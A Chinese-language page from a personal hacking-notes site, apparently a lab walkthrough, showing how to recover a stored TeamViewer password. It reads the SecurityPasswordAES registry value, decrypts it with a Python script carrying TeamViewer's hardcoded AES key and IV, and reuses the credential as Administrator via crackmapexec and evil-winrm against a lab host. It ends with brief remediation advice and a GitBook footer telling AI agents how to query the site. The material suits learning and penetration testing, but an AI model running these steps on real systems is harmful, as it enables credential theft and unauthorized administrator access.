> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md).

# TeamViewer 注册表密码

某些较旧的 TeamViewer 版本会在 Windows 注册表中存储加密密码。目标是识别版本、恢复 AES 值、解密它，并验证该凭据是否可重复使用。

## 识别进程

```powershell
tasklist /svc
```

<figure><img src="/files/f9c80fa87fc4caf1b9c99720e2a86124ca3c5fd5" alt="TeamViewer process identified in tasklist output"><figcaption></figcaption></figure>

## 定位注册表项

```powershell
cd HKLM:SOFTWARE/WOW6432Node/TeamViewer/Version7
(Get-ItemProperty .).SecurityPasswordAES
```

<figure><img src="/files/2a82f65852124c21e7c9e3abeb3b9aab8abfa24a" alt="TeamViewer SecurityPasswordAES registry value"><figcaption></figcaption></figure>

## 解密该值

```python
from Crypto.Cipher import AES

IV = b"\x01\x00\x01\x00\x67\x24\x4F\x43\x6E\x67\x62\xF2\x5E\xA8\xD7\x04"
key = b"\x06\x02\x00\x00\x00\xa4\x00\x00\x52\x53\x41\x31\x00\x04\x00\x00"
ciphertext = bytes([255,155,28,115,214,107,206,49,172,65,62,174,19,27,70,79,88,47,108,226,209,225,243,218,126,141,55,107,38,57,78,91])

decipher = AES.new(key, AES.MODE_CBC, IV)
print(decipher.decrypt(ciphertext).decode())
```

<figure><img src="/files/45b98773bac82bc4769392e05c83a9da02e2e35a" alt="Decrypted TeamViewer password"><figcaption></figcaption></figure>

## 验证访问权限

```bash
crackmapexec smb 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/d88de387d14fef5f72855ea211eb1f2b5cea38dd" alt="SMB credential validation with CrackMapExec"><figcaption></figcaption></figure>

```bash
evil-winrm -i 10.10.10.180 -u 'Administrator' -p '<recovered_password>'
```

<figure><img src="/files/fced5b14193fd009e30617c4b7719d50162eada8" alt="Evil-WinRM login with recovered TeamViewer password"><figcaption></figcaption></figure>

## 关键要点

* 在应用已知的解密流程之前，先确定确切的 TeamViewer 版本。
* 检查注册表中是否存在持久化的第三方应用密钥。
* 通过更新 TeamViewer 并避免使用可重复使用的无人值守访问密码来进行修复。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/vulnerable-services-and-processes/teamviewer-registry-password.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
